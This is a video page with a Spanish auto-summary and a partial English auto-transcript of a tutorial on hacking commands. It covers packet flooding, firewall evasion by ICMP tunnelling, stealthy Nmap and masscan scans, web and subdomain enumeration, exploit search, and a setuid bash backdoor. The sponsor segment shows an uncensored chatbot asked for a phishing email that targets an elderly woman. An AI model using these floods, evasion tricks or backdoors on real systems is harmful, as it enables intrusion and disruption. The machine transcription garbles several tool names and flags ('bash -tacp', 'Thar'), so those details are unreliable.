60 Hacking Commands You NEED to Know

NetworkChuck
3 Apr 202427:01

Summary

TLDREste script de video ofrece una visión detallada de los 60 comandos de hacking más importantes que los espectadores deben conocer. Seguidamente, se introduce a los espectadores en un entorno de hacking seguro con un enlace proporcionado para descargar un Sandbox de Cali Lennic. El video abarca desde el uso básico del comando ping para probar la conectividad y las capacidades del firewall, hasta técnicas más avanzadas como el uso de Hping3 para ataques de inundación de paquetes y el uso de P tunnel para tunneling de paquetes TCP a través de ICMP. Además, se exploran herramientas como Nmap para escaneo de redes, whatweb para identificar tecnologías web, curl para la interacción con APIs y SSH para conexiones remotas. Finalmente, se destaca la utilidad de TCP dump y thar para la captura y análisis de paquetes de red, así como Netcat para crear shells inversos y servidores de chat. El video es una guía valiosa para aquellos interesados en la seguridad informática y las pruebas de penetración.

Takeaways

  • 🔍 Los comandos de hacking son herramientas útiles para la seguridad de la información y el aprendizaje de las defensas contra posibles ataques.
  • ☕ Para comenzar con el hacking ético, es importante tener un entorno de prueba, como el Sandbox ofrecido por Cali Lennic.
  • 📋 Mantener una hoja de referencia de los comandos de hacking, como la que se menciona en el video, puede ser una herramienta valiosa para los principiantes.
  • 💥 El comando ping no solo puede verificar si un host está en línea, sino también ser utilizado para enviar paquetes grandes y probar el fuego de las defensas de un sistema.
  • 🚀 Las herramientas como Hping3 y IFtop permiten a los hackers avanzados realizar operaciones más complejas, como el envío de paquetes de inundación en un puerto específico.
  • 🛠️ La utilización de PT (Packet Transmitter) y P tunnel demuestra cómo se pueden tunnelizar paquetes TCP a través de paquetes ICMP para eludir los filtros de firewall.
  • 🕵️‍♂️ Nmap es una herramienta esencial para la exploración de redes, capaz de realizar análisis rápidos y escaneos detallados de hosts y servicios.
  • 🔎 Masscan es una alternativa a Nmap que permite escaneos de red a una velocidad mucho más rápida, aunque a menudo requiere más conocimientos para su uso efectivo.
  • 📚 El comando 'ls' en Unix/Linux no solo lista archivos, sino que también puede ser una fuente de diversión con comandos como 'sl', que muestra un tren en la terminal.
  • 🔑 La manipulación de permisos de archivos a través de comandos como 'chmod' puede tener implicaciones serias en la seguridad, como se muestra con la creación de una puerta trasera con 'bash -p'.
  • 🌐 Herramientas como 'whatweb' y 'curl' son fundamentales para la recopilación de información y el análisis de la actividad de red y de servidores web.

Q & A

  • ¿Qué es el comando ping y cómo se utiliza en el contexto de hacking?

    -El comando ping es una herramienta utilizada para verificar la conectividad con un host específico. En el contexto de hacking, se puede usar para enviar paquetes de diferentes tamaños (con el modificador -s) para probar la capacidad de un firewall o incluso para发起洪水攻击 (ataques de denegación de servicio) utilizando el interruptor -f para enviar una gran cantidad de paquetes.

  • ¿Cómo se puede usar el comando H ping three para realizar un ataque de inundación en un servidor web?

    -H ping three es una herramienta avanzada que permite enviar paquetes de red personalizados. Para realizar un ataque de inundación en un servidor web, se puede usar la opción -p para seleccionar el puerto, en este caso el puerto 80, y combinarlo con el modificador -V para un modo detallado, lo que aumentará la cantidad de tráfico enviado al servidor.

  • ¿Qué es IF top y cómo se instala?

    -IF top es una herramienta que muestra información en tiempo real sobre el tráfico de red. Se instala a través del administrador de paquetes de Kali Linux con el comando 'apt-get install iftop' y se ejecuta con 'iftop'.

  • ¿Cómo se puede usar Nmap para realizar un escaneo de vulnerabilidades en una red?

    -Nmap es una herramienta de escaneo de red que permite descubrir hosts y servicios en una red. Para escanear vulnerabilidades, se puede usar el script 'script scan' seguido del host o red de destino. También se puede usar la opción -A para realizar un escaneo intensivo que incluye detección de sistema operativo, detección de versiones y escaneo de scripts básicos.

  • ¿Qué es Masscan y cómo se diferencia de Nmap?

    -Masscan es una herramienta de escaneo de puertos diseñada para ser rápida y sencilla. A diferencia de Nmap, Masscan está diseñado para escanear una gran cantidad de hosts de manera rápida, aunque no ofrece la misma profundidad de información que Nmap. Se instala con 'apt-get install masscan' y se ejecuta especificando los puertos y la red a escanear.

  • ¿Cómo se puede usar el comando 'ls' de una manera divertida o como un 'trol'?

    -El comando 'ls' se utiliza normalmente para listar el contenido de un directorio. Sin embargo, se puede configurar un alias para el comando 'ls' que ejecute en su lugar el comando 'sl', lo que desencadena la representación de un tren en la terminal. Esto se puede hacer para bromear o como un 'trol', sorprendiendo a otros usuarios que escriban 'ls' esperando listar archivos.

  • ¿Qué información puede proporcionar el comando 'whois'?

    -El comando 'whois' se utiliza para obtener información sobre un dominio o una dirección IP. Proporciona detalles como el número de fax, el número de teléfono, la dirección y otros datos de contacto del propietario del dominio. También puede mostrar información de registro de IP si se utiliza con una dirección IP en lugar de un dominio.

  • ¿Cómo se puede usar curl para interactuar con APIs y por qué es útil?

    -Curl es una herramienta de línea de comandos que permite la transferencia de datos con URLs. Es útil para interactuar con APIs porque permite enviar solicitudes y recibir respuestas de servidores web. Con el modificador -I, curl puede mostrar solo las cabeceras de la respuesta, lo que es útil para verificar la accesibilidad de un endpoint o para autenticarse en una API proporcionando un token en una cabecera personalizada.

  • ¿Qué es Scamo y cómo funciona?

    -Scamo es una herramienta de detección y prevención de estafas impulsada por IA desarrollada por Bitdefender. Funciona como un servicio gratuito que permite a los usuarios chatear con ella a través de Facebook Messenger para verificar si un mensaje o una situación en particular es una estafa. Scamo utiliza la información y conocimientos de Bitdefender para estar actualizado con las últimas tácticas de estafa.

  • ¿Cómo se puede usar el comando 'bash' para crear una puerta trasera en un sistema?

    -Se puede usar el comando 'bash' con el argumento '-tacp' para crear una puerta trasera si se tiene permisos de root. Esto requiere cambiar los permisos del binario de bash utilizando 'chmod +s /bin/bash' para establecer los permisos setuid. Después de la configuración, cualquier usuario que ejecute 'bash -tacp' obtendría acceso root al sistema.

  • ¿Qué es Thar y cómo se diferencia de TCP dump?

    -Thar es una herramienta de línea de comandos similar a Wireshark que se utiliza para capturar y analizar tráfico de red. A diferencia de TCP dump, Thar ofrece una gran cantidad de opciones para filtrar y analizar paquetes, incluyendo la capacidad de seguir conexiones y flujos TCP específicos, y de especificar campos personalizados para la salida.

Outlines

00:00

🔓 Comandos esenciales de hacking y configuración de entornos

Este segmento introduce una lista extensa de comandos de hacking esenciales y ofrece una visión práctica para probarlos en un entorno controlado, utilizando un sandbox de Cali Lennic. Destaca el uso de diferentes comandos para manipular y testear la infraestructura de red como el uso avanzado de ping para analizar la capacidad de los firewalls y el comando IF top para monitorear el tráfico de red en tiempo real. También se introduce H ping tres para ataques específicos en puertos y la creación de túneles con ICMP utilizando P tunnel para evadir firewalls, culminando en la visualización de tráfico SSH sobre ICMP.

05:04

🔍 Técnicas avanzadas y trucos en el uso de Nmap y Masscan

En este párrafo se exploran técnicas avanzadas utilizando Nmap para el escaneo y análisis de redes, detección de sistemas operativos y la evasión de sistemas de detección mediante la fragmentación de paquetes y el cambio de puertos de origen. Introduce Masscan para escaneos ultrarrápidos y el uso de host aleatorios para mantener oculto al usuario. Además, se menciona un comando curioso, el comando 'steam locomotive', como una broma para ocupar la terminal, y estrategias para configurar alias en comandos comunes para ejecutar tareas inesperadas como generar salida aleatoria.

10:07

👾 Explotación de vulnerabilidades y herramientas de hacking especializadas

El tercer párrafo profundiza en herramientas y comandos especializados para el hacking y la seguridad cibernética. Destaca el uso de WP Scan para analizar vulnerabilidades en sitios de WordPress, y la herramienta Amass para la enumeración de subdominios. También se discuten herramientas como Go Buster para la enumeración de directorios y Search Exploit para buscar exploits disponibles. John Hammond introduce un método para crear una puerta trasera en sistemas utilizando Bash con permisos elevados mediante el cambio de los permisos de set UID.

15:09

📡 Monitoreo y análisis de tráfico con TCP dump y herramientas relacionadas

Este párrafo se centra en herramientas de captura y análisis de tráfico de red. Se introduce TCP dump para capturas de tráfico, junto con su uso para limitar la captura a cierto número de paquetes. Luego se presenta Thar, una herramienta avanzada para el análisis detallado de paquetes, incluyendo la capacidad de seguir conexiones específicas y visualizar datos de manera estructurada. Finalmente, se explica el uso de Tux, un multiplexor de terminal, para manejar múltiples sesiones de terminal y facilitar tareas complejas simultáneamente.

20:10

🌐 Técnicas de tunelización y manejo avanzado de sesiones con SSH

El último párrafo aborda técnicas avanzadas de SSH para la tunelización y manejo de sesiones remotas. Se menciona la creación de un proxy SOX para enmascarar la ubicación geográfica del usuario y el uso de Netcat para establecer conexiones inversas y configurar servidores de chat simples. La descripción finaliza con la demostración de cómo estas técnicas pueden ser utilizadas para el acceso remoto y la gestión de sistemas distribuidos, proporcionando flexibilidad y control sobre múltiples máquinas en red.

Mindmap

Keywords

💡Hacking Commands

Comandos de hacking son instrucciones específicas utilizadas para realizar tareas en un entorno de seguridad informática. En el video, se discuten varios comandos, como 'ping' y 'nmap', que son esenciales para la detección de hosts, el escaneo de redes y la evaluación de vulnerabilidades. Estos comandos son fundamentales para el tema del video, que es proporcionar información sobre las órdenes de hacking más importantes que un usuario debe conocer.

💡Ping

El comando 'ping' es una herramienta utilizada para verificar la conectividad entre dos hosts en una red. En el video, se explica cómo se puede utilizar 'ping' para enviar paquetes de diferentes tamaños y probar las capacidades del firewall, así como para realizar ataques de inundación de paquetes. Este comando es esencial para la comprensión de las comunicaciones de red y la seguridad.

💡Nmap

Nmap es una herramienta de escaneo de redes que permite a los usuarios examinar redes para identificar hosts activos, servicios y posibles vulnerabilidades. En el video, se muestra cómo se puede utilizar Nmap con diferentes switches para realizar escaneos de red, detección de servicios, detección de sistema operativo y escaneo de vulnerabilidades, lo que es crucial para el tema de hacking y seguridad informática.

💡Firewall

Un firewall es una barrera de seguridad que controla el tráfico de red entrante y saliente basado en un conjunto de reglas predefinidas. En el video, se discute cómo los comandos de hacking, como 'ping' y 'Hping3', pueden utilizarse para probar las capacidades del firewall y encontrar posibles brechas en la seguridad. La comprensión del funcionamiento de los firewalls es clave para la defensa contra los ataques de hacking.

💡SSH

SSH (Secure Shell) es un protocolo de red que proporciona servicios de capa de aplicación para aplicaciones en red de cliente-servidor y es utilizado para acceder de forma segura a una máquina remota. En el video, se menciona cómo se puede utilizar SSH para crear túneles y proxies, lo que permite a los usuarios eludir firewalls y acceder a servidores de manera segura a través de conexiones ICMP.

💡TCP Dump

TCP Dump es una herramienta de análisis de tráfico de red que permite a los usuarios capturar y examinar paquetes de red. En el video, se describe cómo se puede usar TCP Dump para capturar y visualizar paquetes en tiempo real, lo que es esencial para la detección de actividades anómalas en la red y para el análisis de tráfico de red.

💡Subdomain Enumeration

La enumeración de subdominios es el proceso de identificar todos los subdominios que pertenecen a un dominio específico. En el video, se discuten herramientas como 'Sublist3r' y 'Amass' que se utilizan para realizar enumeración de subdominios, lo que es útil para encontrar puntos de entrada adicionales en una red durante una prueba de penetración.

💡Wordpress Scan

WordPress Scan es una herramienta diseñada para analizar sitios web que utilizan la plataforma WordPress, buscando vulnerabilidades y problemas de seguridad. En el video, se muestra cómo se puede utilizar esta herramienta para enumerar usuarios, plugins y temas, lo que es esencial para los propietarios de sitios de WordPress y para los profesionales de pruebas de penetración.

💡GoBuster

GoBuster es una herramienta de código abierto que se utiliza para encontrar directorios y archivos en un servidor web. En el video, se menciona cómo se puede utilizar GoBuster para enumerar contenido en un sitio web, lo que puede ayudar a los hackers a encontrar vulnerabilidades o información sensible que no debería estar públicamente disponible.

💡SSH Tunneling

El túneling SSH es una técnica utilizada para redirigir tráfico de red a través de un túnel seguro entre dos puntos finales. En el video, se demuestra cómo se puede crear un túnel SSH para permitir conexiones a un servidor remoto, lo que es útil para eludir la vigilancia de red y acceder a recursos de forma segura.

💡Netcat

Netcat, a menudo abreviado como 'nc', es una herramienta de red que permite la creación de conexiones TCP o UDP entre dos hosts. En el video, se describe cómo se puede utilizar Netcat para establecer shells inversos y servidores de chat, lo que es esencial para la comunicación entre los atacantes y las máquinas objetivo en un entorno de hacking.

Highlights

Presentación de los 60 comandos de hacking más importantes.

Introducción de expertos y preparación de un entorno de hacking con Cali Lennix Sandbox.

Disponibilidad de un cheat sheet con los comandos de hacking principales.

Uso del comando ping para verificar la actividad de un host y enviar paquetes de prueba de tamaño variable.

Demostración de la herramienta IFtop para monitorear el tráfico de red en tiempo real.

Instalación y uso de Hping3 para enviar paquetes de inundación y realizar trazas de ruta personalizadas.

Técnica de tunelización de paquetes TCP a través de paquetes ICMP con P tunnel.

Uso de TCPdump para capturar y visualizar paquetes en tiempo real.

Toma deCoffee Break mientras se ejecutan análisis de red pesados.

Uso de Nmap para escanear redes, detectar sistemas operativos y encontrar vulnerabilidades.

Técnica de escaneo con decoy para evitar la detección durante el escaneo de redes.

Introducción y uso de Masscan para realizar escaneos de red rápidos y eficientes.

Comando LSL para generar una representación visual de un tren en la línea de comandos.

Uso del comando 'whois' para obtener información detallada sobre un dominio.

Aplicación práctica del comando curl para interactuar con APIs y procesar datos.

Presentación de la herramienta Scamo de Bitdefender, un servicio gratuito de detección y prevención de estafas.

Demostración de la creación de un backdoor en Bash para mantener un acceso persistente a una máquina.

Uso avanzado de TCPdump y Thar para la captura y análisis detallado de paquetes de red.

Instalación y configuración de Tmux, un multiplexador de terminales para gestionar sesiones de trabajo.

Uso de SSH para crear túneles y proxies SOCKS para navegación anónima.

Implementación de Netcat para crear shells inversos y servidores de chat simples.

Transcripts

play00:00

Here are the top 60 hacking commands you need to know.

play00:02

I also brought in a few experts,

play00:04

so get your coffee ready if you want to try these commands right now.

play00:07

I've got a free Cali Lennic Sandbox and a description.

play00:10

Just click that link and right here in your browser, boom hacking environment.

play00:14

Make sure you read the instructions. You get two hosts to hack with. Also,

play00:17

all the commands in this video are in the description below.

play00:19

We even created this beautiful top hacking commands cheat sheet.

play00:22

You got to have this the humble ping command.

play00:24

We ping a host to see if it's up and if it's up we'll hack it.

play00:27

But right now we're sending a 64 byte packet. What do you say?

play00:29

We send something bigger to test firewall capabilities.

play00:32

We can type in dash S and specify the size of our packet,

play00:36

testing the capabilities of a firewall, or we can get even crazier.

play00:39

We'll still send our large packet dash S 1300,

play00:42

but then we'll use the switch dash F to absolutely obliterate this host flood.

play00:47

A ton of packets. And actually before we do that, I want to see this happen.

play00:50

I'll start another terminal and give you a bonus command here.

play00:53

This tool is called IF top.

play00:55

I'll install it with a PT install if and then type in if F top to run it.

play01:00

Now let's flood. Look at that.

play01:03

That's a lot of data control C to stop that. Same for if F top. Goodbye.

play01:08

And actually let's keep IF top up because we're not done with ping yet.

play01:10

I know you didn't realize there's so much to ping and this tool is kind of

play01:13

crazy. It's called H ping three.

play01:15

We'll install it with a PT install H ping three.

play01:18

And we can do fun things like flooding packets on a specific port. For example,

play01:21

port 83 s for a T CCP packet V

play01:26

for verbose mode gives us more flood to make it rain. And finally the host.

play01:31

Here we go man, look at that. And we're hitting port 80.

play01:36

Great for testing web servers.

play01:37

We can also use H ping three for a fancy trace three

play01:42

V and then here's what's cool.

play01:44

We'll do dash one four I CM P packets and then our host network chuck.coffee,

play01:48

but sometimes firewalls P with trace route removing dash one.

play01:52

We can instead do P 80 and S doing trace route on port

play01:56

80,

play01:57

which is web traffic using of course CP and pick your port

play02:02

maybe 4, 4, 3, maybe 53.

play02:04

Use the DS port specifying UDP traffic or with TCP traffic we

play02:09

can add the dash a switch setting the act flag and then change our base

play02:14

port with dash dash base port 1, 3, 3, 7.

play02:19

All amazing options to help us evade firewall rules.

play02:21

Now I bet you thought we were done with ping, but we're not.

play02:23

You can tunnel TCP packets over ICMP echo reply and request packets.

play02:28

What? Check this out. It happens with the tool called P tunnel.

play02:31

A PT installed P tunnel. On the target side, we'll simply run P tunnel.

play02:37

On the attacker side we'll run P tunnel P for proxy address,

play02:41

it'll be our target dash LP. To specify our local port,

play02:44

we'll do 8,000 dash DA for our destination address.

play02:48

It'll also be our target and we'll do dash DP for our destination port.

play02:51

And because I'm going to try SSH, I'll do port 22 ready set tunnel.

play02:56

Now to watch this happen in real time, I'm going to show you a new command.

play02:59

CP dump will help us to capture and visualize these packets in real time.

play03:02

We'll use a PT install TCP dump to install it and then we'll run T CCP dump

play03:07

dash I for interface and we'll say any. And we're only looking for ICMP traffic,

play03:11

so we'll type in ICMP. Now watch this. I'll want you new terminal.

play03:15

Now I'm going to go over this tunnel using ICMP packets. Oh my gosh,

play03:19

check this out.

play03:20

SSH P report specifying 8,000 and I'll do username network.

play03:25

Chuck,

play03:25

that's my username at the other host at local host pointing it right here on

play03:30

this computer, this server. Ready, set, go. Do you see it happening?

play03:34

Oh my stinking, gosh. Literally sending SSA traffic over ICMP.

play03:38

Echo reply echo request. That's magic. Who am I IP address? Yep,

play03:43

I'm somewhere else. That's so cool.

play03:44

And control C to close those tunnels on both sides,

play03:47

this is great for evading firewalls that might block that type of traffic.

play03:50

Here's a quick command from Tom, nom, nom, nom nom. No, no.

play03:54

I'm Tom m nom and this is a trick I use all the time.

play03:56

If you're running a command and you don't know what you want to do with the

play03:58

output yet, pipe it to vim dash. That'll open the output of the command in Vim,

play04:03

and then you can either manually edit it or you can use column percent bang to

play04:07

run it back through any command you want. Run it through,

play04:09

sort to put things in order or grip dash V to remove lines you don't want.

play04:13

And then as a bonus, if you have a file name under your cursor at G,

play04:16

then F to open that file in a new buffer.

play04:19

Nmap will scan a network helping us to discover hosts that we can hack.

play04:22

Here's some fun ways to use it. First,

play04:23

make sure you install it A PT install Nmap.

play04:26

We can scan an entire network for quick mapping with Nmap dash, sn,

play04:30

and then our target network. Hey, it found 11, host the switch, lowercase s,

play04:34

capital V will do service discovery on a target works like a charm.

play04:39

Use the capital O switch for OS detection. Well hold up, we tried,

play04:43

but it's blocking ping probes. Let's try dash PN to not do the probe.

play04:47

We'll add that to our command dash capital P lowercase n bam.

play04:51

We got it's a Windows pc.

play04:53

We can use a lowercase s capital L switch to do quick host name scanning on a

play04:57

network. Nmap scripts, unlike a whole new world,

play04:59

we can scan for vulnerabilities on a host with script vol and then our target

play05:03

host or network, we can use the malware script to scan for known malware.

play05:07

With the capital A switch, we can scan for pretty much everything.

play05:10

Take a little coffee break, it'll take a while.

play05:15

This one switch does OS detection, version detection,

play05:18

some default script scanning from Nmap and the trace route.

play05:21

That's a lot of info. That's awesome. If we use the lowercase F switch,

play05:25

it'll fragment our packets and make it harder for us to be detected while we're

play05:27

scanning. We can also avoid detection by changing our source port.

play05:30

Using these source port switch, we can just say, Hey, I'm DNS, don't mind me.

play05:35

And if you really want to be tricky with Nmap, you can scan with decoys,

play05:38

check this out,

play05:40

Nmap dash capital D for decoys and then specify r and d all

play05:44

capital. Let's say 10. What that will do is generate 10 random IP addresses,

play05:49

random decoys that you're scanning from so they can't find you.

play05:52

We'll put our host in and then bam scanning from 10 different IP addresses.

play05:55

Now Inmap is cool,

play05:56

but what you have a lot to scan like networks upon networks and you want to scan

play05:59

them fast, that's where mass scan comes in.

play06:02

One install mass scan with a PT install mass scan.

play06:06

Mass scan is similar to Nmap and that we can specify ports to scan for specify a

play06:10

network,

play06:11

but then we can specify our rate and go super fast just

play06:15

like that. Or if we have no idea what networks we're dealing with,

play06:18

we can scan everything by the entire 10 point subnet range and we'll do a rate

play06:22

of 10,000. Now it is fast,

play06:24

but you still might want to take a coffee break just saying

play06:28

we'll just control see that.

play06:29

We could also use the randomized host switch to change the order in which we

play06:33

scan our host or networks helping us stay a bit more hidden or we can quickly

play06:36

find servers foolishly running telenet on a network. Super insecure,

play06:40

but we can find that out right now simply by specifying port 23 and scanning an

play06:44

entire network fast. Got one.

play06:46

Now here's John Hanman with something a bit silly but I love it though.

play06:49

You normally just enter LS on the command line to list stuff in the current

play06:54

directory. Well, did you know that there is actually an S SL command?

play06:59

Like if you were typing really fast or you accidentally made a mistake or you

play07:03

had a typo when you meant to type LS and you accidentally typed S

play07:08

sl,

play07:08

this is the steam locomotive and it is a train that

play07:13

is displayed on your computer screen, on the command line on the terminal.

play07:17

And look, you can't get out of this, you can't type anything,

play07:21

you can't do anything. You just have to wait for the whole train to drive by.

play07:26

Now the next fun hacking command that I want to show you is actually part of the

play07:31

dev piece of the file system. I don't know if you're familiar,

play07:34

but there is a slash dev slash udom file and that is

play07:39

like a device to list out PSEUDORANDOM data just coming from your

play07:44

computer, right? Hey, you have a stream,

play07:46

a constant stream of randomness and this looks hysterical.

play07:50

It is just gibberish nonsense zeros and ones and all the

play07:55

data up to 255 askie characters printable non-print.

play08:00

And it just looks like absolute chaos. You can control see out of this,

play08:05

but sometimes it might break the terminal and you can't actually continue to

play08:09

interact with the shell.

play08:10

So it's something that you might be able to do as a troll, as a meme, right?

play08:14

So what if we actually set an alias for that same LS command?

play08:19

Maybe we could set that to a cell if we wanted to run the steam locomotive train

play08:22

again,

play08:23

but we could set that to Cat deran and now anytime

play08:28

someone were to actually enter LS on the command line thinking that they're

play08:32

going to list files,

play08:33

it'll just spit up and go crazy with all that random gibberish nonsense.

play08:38

I think that's kind of fun.

play08:40

By the way,

play08:40

John Ham who will show us a real hacking command he loves later in the video,

play08:44

the who is command will tell you a ton of stuff about a domain,

play08:47

install it with a PT install, who is microsoft.com,

play08:51

fax number, phone number, address,

play08:53

let's try cia.gov redacted should have expected that.

play08:58

What web will tell you what technologies a website is using a PT install what

play09:03

web to install it and then we'll type in what web and our domain.

play09:07

We'll try network chuck.coffee.

play09:09

And while that's scanning perfect time for a coffee break,

play09:13

it gives you a ton of information including the fact that it's powered by

play09:16

Shopify right there. Next up, curl from Naham sec.

play09:19

My favorite command is actually not using any hacking tools and it's probably

play09:23

one of the most basic commands used on Linux and it comes by default on almost

play09:27

any operating system and that is a curl command.

play09:29

And lemme show you real quickly how I use it.

play09:32

The first thing I want to do is usually I just want to do a curl dash I that

play09:35

usually gives you the headers and every response in that header of what it is

play09:39

coming back from the server.

play09:40

So in this case it's giving us a 3 0 2 and it's saying, Hey,

play09:43

you are going to get redirected to this exact location.

play09:46

And I like doing curl a lot because I'm hacking a lot of APIs most of the time

play09:49

and with APIs I want to just quickly see if an endpoint is accessible or if I

play09:53

can fit some sort of a data.

play09:55

And a lot of times I'm processing data as a part of my hacking when recon.

play09:58

So it makes it a lot easier to do it through Chrome.

play10:00

And what you want to do for this one, for example, if you want to authenticate,

play10:03

instead of launching your browser and setting this header manually,

play10:06

all you have to do is you can pass a header and set that custom header with its

play10:10

token in there and run it and it would authenticate you and give you whatever

play10:14

data it is that you're looking for on that. API.

play10:16

Hey, real quick, can I show you something crazy? Check this out.

play10:19

I'm about to run an uncensored version of chat GPT or an LLM,

play10:23

which means you can pretty much do whatever you want to do with it.

play10:26

Now why am I doing this? Well,

play10:27

because Bitdefender just came out with a tool called Scamo.

play10:30

It's a free AI powered scam detector and prevention service from Bitdefender

play10:34

like legit. Check this out. I got a text from a scam. I'm pretty sure it is,

play10:38

but do I actually know? Lemme go find it. Oh yep. Here's one.

play10:42

Pretty sure this is a scam,

play10:43

but do I know all I got to do is copy that sucker and jump into Facebook

play10:47

Messenger, just one of the places I can chat with and see if things are scams.

play10:51

So let's try it out. Hey, is this a scam again, this is totally free,

play10:55

I'm just chatting with it here in Facebook Messenger and within seconds it told

play10:58

me that hey, it might be kind of suspicious. Don't do anything with it. Okay,

play11:02

that's pretty cool. That didn't fool it,

play11:03

but what if I had this uncensored AI tool try to produce a phishing message.

play11:06

Can we trick it? Let's try it out.

play11:07

I need you to write a very convincing phishing email for an elderly woman named

play11:10

Deborah. The goal is to get her to give me some money,

play11:12

use the best method and write it in a way that will avoid spam and fraud

play11:16

detection. Lemme add that and fraud detection. Snap. Okay, that's pretty good.

play11:20

It even added this at the end. That's awesome. Okay,

play11:23

let's doctor it up just a little bit or remove the,

play11:26

it's not a real URL thing right there.

play11:28

Let's add a real looking number like 7 6 5 0 9 8 7

play11:33

and I'll remove the not a real number thing here too. Okay, cool.

play11:36

Our message is ready. Let's test it out. Please tell me if this email is okay.

play11:40

Now, while it's checking that, think about this.

play11:42

Who in your family or in your friend group could benefit from having something

play11:45

like this?

play11:46

I can't tell you how many times I'm getting a text from my grandma or my mom

play11:49

going, Hey, is this a scam? Is this fraud?

play11:51

But if they can chat with something that is honestly probably smarter than me

play11:54

and will be up to date with the latest scams,

play11:56

it's actually powered by a bitdefender,

play11:58

the excellent security suite that I've talked about here on this channel a lot.

play12:01

So all the information and knowledge they have is feeding the scamo free AI

play12:05

powered tool. Okay, the results are in the email does seem suspicious,

play12:09

it tells you what tactics it might be using and it tells you to contact your

play12:12

bank directly. That's perfect.

play12:14

That's what I would tell my grandma or my mom or my dad.

play12:17

So seriously try it out right now. Check the link below, it's free,

play12:19

you can chat with it here on the website or chat within Messenger.

play12:22

They'll be adding WhatsApp soon and it'll check lots of things like you can send

play12:25

out a QR code and go, Hey, is this good? You can send out pictures of stuff.

play12:28

This is a crazy powerful and free tool. I love what Bitdefender is doing.

play12:31

So again,

play12:32

definitely check it out and thank you to Bitdefender for sponsoring this video

play12:34

and making a really awesome free tool available to all of you guys.

play12:37

Nick to is an open source web server scanner that'll scan websites for any

play12:41

dangerous bad stuff. It might have to install it.

play12:43

We'll do AP PT install Nick to and for a basic vulnerability scan.

play12:47

We'll do Nick to dash H for our host and specify our host network.

play12:52

Chuck dot copy go Buster can be used to find directory and files on a web

play12:57

server.

play12:57

We'll install it with a PT install Go Buster to enumerate network chuck.com.

play13:02

We'll do go Buster, we'll type in DUR for directories.

play13:05

That's the mode we're going to be in.

play13:06

We'll type in U and specify our domain network check.com and we'll use the dash

play13:10

W to specify our word list.

play13:12

I'll use a default Cali Linux one here and go and it's discovering all my

play13:16

directories files now because Go Buster is written and go is extremely fast.

play13:20

Subdomain, enumeration, yeah, we can use it for that,

play13:22

but first I want to download a word list to get a ton of word lists right now on

play13:26

your system we'll use the tool called SEC list A PT install SEC

play13:30

lists. Fair warning, this is pretty big. Lots of word lists.

play13:34

Once it's done downloading,

play13:36

you can find it in user share SEC list.

play13:40

Lots of stuff in there. Now real quick, if you only want to download one thing,

play13:44

the thing that we care about, there's a command for that.

play13:46

It's called W Get Cyclist is also on GitHub and it's maintained by my friends.

play13:50

What we care about is discovery and DNS and we'll get Jason Haddock's list here.

play13:55

I'm going to grab the raw URL to install W get a PT install W Get

play14:00

Kind Seeing a pattern here, right?

play14:01

Type in W get paste at URLW. Got it. Now getting back to Go Buster,

play14:06

we can enumerate domains. We'll type in go Buster mod BDNS.

play14:10

We'll specify our domain with dash D network check.com and then our word list

play14:14

with dash W. I'll use Jason Haddock's DNS. Ready, set, go.

play14:18

Now that's a pretty big list and if I were doing a legit pin test,

play14:21

I'd probably let this finish out but I don't have time for that.

play14:23

I'm not patient enough Control C to stop that.

play14:25

I want to show you another way to do subdomain enumeration.

play14:27

This tool is called sub lister. You can install it with a PT,

play14:30

install sub lister just like this and the E is a three.

play14:33

And then to run sub lister,

play14:34

we'll simply type in sub lister dash D to specify our domain network check.com

play14:38

and let it go. And it found a lot of stuff. This next one is pretty fun.

play14:43

It's called WP Scan.

play14:44

It will scan WordPress sites and help you find all the issues that might be

play14:48

affecting it. Great. If you're a WordPress site owner and great,

play14:51

you're a pen tester, let's try it out. We can run it in a few ways.

play14:54

The first way WP scan, we'll do dash dash URL and specify our URL.

play14:58

We'll do chuck keith.com, my personal website that's not doing anything.

play15:02

And then we'll do dash enumerates you,

play15:05

not you the letter you the U stands for users, let's try it out.

play15:09

That's a lot of information. We can also use the P option for plugins.

play15:13

We can use T for themes or do something pretty aggressive.

play15:17

We'll do VP VT dash plugins,

play15:21

dash detection and we'll add aggressive at the end just to make sure we get our

play15:25

point across. This is a super aggressive vulnerability scan. Let's try it out.

play15:29

Now you may have noticed that all those commands did not output anything fun

play15:33

because you need an API token from WP scan,

play15:35

which you can get for free right now.

play15:37

And then you would run the commands like this specifying your API token with a

play15:41

dash API dash token switch. A mass is another tool you can use for subdomain.

play15:45

Enumeration. Install it with a PT install and to run it we'll type in a mass,

play15:50

type in enu dash adidas specifier domain network chuck.com and let it

play15:55

go. This tool might run forever. Alright, I don't want to wait for it though.

play15:59

Control C to stop that. But man,

play16:01

look at all the stuff about to do a more passive enumeration.

play16:04

You can do this a mass and we'll specify a dash passive

play16:08

and then our domain, whereas the other one was a bit more active.

play16:11

I like AMA because it does give us options based on what our scope is and we'll

play16:15

go ahead and stop that. This next command opens up the door to new commands.

play16:19

What does that mean? You'll see it's a tool called gi,

play16:22

which we'll often use when you first start out to interact with GitHub.

play16:25

Let me show you. There's a tool we're about to use called Search point,

play16:28

but the way we use this tool is by downloading it from GitHub and actually I

play16:32

lied, this is a GitLab repository, but it's pretty much the same thing.

play16:37

You'll use GI all the time to install all kinds of stuff,

play16:40

but first we have to install GI A PT Install Get you probably already

play16:44

have it. And then probably my favorite command is GI Clone.

play16:48

We're going to clone a tool onto our computer and in our case it will be search

play16:53

point. Let's go to properly use that command, we'll add a symbolic link.

play16:58

We're not going to talk about that, just know it's a command below.

play17:01

And then finally we can use the command search exploit, right? Yeah,

play17:03

it's going to work. Let's try searching for WordPress plugins.

play17:08

It'll search for exploits that involve WordPress plugins. What about SSH?

play17:12

A ton of exploits pertaining to SSH Super handy tool if you want to update the

play17:16

database search exploit dash u crazy powerful tool.

play17:20

Now here's John Hammond with a real hacking command. It's kind of awesome. Let.

play17:23

Me get into the real genuine ethical hacking and penetration testing.

play17:27

My favorite top hacking command. Here's the thing,

play17:31

when you're on the command line interacting with the shell,

play17:34

you're actually running this program called Bash or the born again shell.

play17:38

Now that lives on the file system and slash bin bash.

play17:43

So if I were to actually execute this, it doesn't look like it does anything,

play17:47

I just get the prompt back because I've just invoked and I'm running a shell or

play17:52

terminal inside my shell so I could exit out of that and get back to my

play17:56

original prompt.

play17:57

But Ben Bash actually takes a special argument called TAC P

play18:03

and that will enforce and maintain set UID permissions,

play18:07

which means that the owner of the file root,

play18:11

in this case the admin absolute controller of the computer will be able to keep

play18:15

their permissions but it has to be a set UID binary.

play18:19

So the way that we could do that is to actually change mod or CH

play18:23

modifications,

play18:24

change modifications on the file and add or plus the

play18:29

S letter for set UID.

play18:31

We'll put that on Bin Bash and this will require some root

play18:36

